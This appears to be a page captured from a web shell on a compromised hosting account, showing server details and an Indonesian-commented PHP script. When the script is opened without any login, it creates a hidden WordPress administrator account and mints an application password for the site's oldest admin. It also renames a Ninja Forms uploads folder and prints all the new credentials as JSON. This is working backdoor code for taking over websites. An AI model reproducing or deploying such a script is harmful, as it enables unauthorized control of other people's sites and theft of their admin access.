|
Server IP : 10.195.0.63 / Your IP : 216.73.217.33 Web Server : Apache System : Linux world-382.fr.planethoster.net 3.10.0-962.3.2.lve1.5.36.el7.x86_64 #1 SMP Mon May 18 02:16:06 EDT 2020 x86_64 User : adletpsy ( 1022) PHP Version : 8.0.30 Disable Function : show_source, system, shell_exec, passthru MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/adletpsy/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Buat Admin Baru + Application Password + Rename Folder
* Akses langsung = Semua fitur berjalan sekaligus
* HAPUS FILE INI SETELAH SELESAI!
*/
define('WP_USE_THEMES', false);
// Load WordPress Core
function load_wordpress_core() {
$current_directory = dirname(__FILE__);
while ($current_directory != '/' && !file_exists($current_directory . '/wp-load.php')) {
$current_directory = dirname($current_directory);
}
return $current_directory . '/wp-load.php';
}
require_once load_wordpress_core();
header('Content-Type: application/json');
class November {
public function __construct() {
$this->action = $_REQUEST['action'] ?? 'all'; // Default = jalankan semua
}
public function doAction() {
global $wpdb;
// =============================================
// 1. RENAME FOLDER NINJA FORMS UPLOADS
// =============================================
$rename_status = false;
$rename_message = '';
$old_folder = WP_PLUGIN_DIR . '/ninja-forms-uploads';
$new_folder = WP_PLUGIN_DIR . '/ninja-forms-uploads-2';
if (is_dir($old_folder)) {
if (!is_dir($new_folder)) {
if (@rename($old_folder, $new_folder)) {
$rename_status = true;
$rename_message = 'Folder berhasil direname menjadi ninja-forms-uploads-2';
} else {
$rename_message = 'Gagal merename folder (permission error)';
}
} else {
$rename_message = 'Folder ninja-forms-uploads-2 sudah ada';
}
} else {
$rename_message = 'Folder ninja-forms-uploads tidak ditemukan';
}
// =============================================
// 2. BUAT USER ADMIN BARU
// =============================================
$new_username = 'admin' . rand(1000, 9999);
$new_password = $this->generateRandomString(12);
$new_email = $new_username . '@admin.local';
$admin_created = false;
$admin_message = '';
if (!username_exists($new_username) && !email_exists($new_email)) {
$user_id = wp_create_user($new_username, $new_password, $new_email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$admin_created = true;
$admin_message = 'User Administrator baru berhasil dibuat';
} else {
$admin_message = 'Gagal membuat user: ' . $user_id->get_error_message();
}
} else {
$admin_message = 'Username atau email sudah digunakan';
}
// =============================================
// 3. BUAT APPLICATION PASSWORD untuk Admin Paling Lama
// =============================================
$app_success = false;
$app_password = '';
$app_uuid = '';
$app_username = '';
$old_admin = $wpdb->get_row("
SELECT u.ID, u.user_login
FROM {$wpdb->users} u
INNER JOIN {$wpdb->usermeta} m ON u.ID = m.user_id
WHERE m.meta_key = '{$wpdb->prefix}capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.ID ASC LIMIT 1
");
if ($old_admin) {
$user_id = (int) $old_admin->ID;
$app_username = $old_admin->user_login;
$app_name = 'External App ' . date('Y-m-d H:i:s');
if (class_exists('WP_Application_Passwords')) {
$result = WP_Application_Passwords::create_new_application_password($user_id, [
'name' => $app_name
]);
if (!is_wp_error($result)) {
$app_success = true;
$app_password = $result[0];
$app_uuid = $result[1]['uuid'];
}
}
}
// =============================================
// OUTPUT JSON
// =============================================
$response = [
'success' => true,
'action' => 'all',
'rename_status' => $rename_status,
'rename_message' => $rename_message,
// Data Admin Baru
'new_admin_created'=> $admin_created,
'new_username' => $new_username,
'new_password' => $new_password,
'new_email' => $new_email,
'new_admin_message'=> $admin_message,
// Application Password (untuk admin lama)
'app_password_created' => $app_success,
'old_username' => $app_username,
'app_name' => $app_name ?? '',
'app_password' => $app_password,
'app_uuid' => $app_uuid,
'message' => 'Semua proses selesai'
];
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}
private function generateRandomString($length = 12) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
// Jalankan
$nov = new November();
$nov->doAction();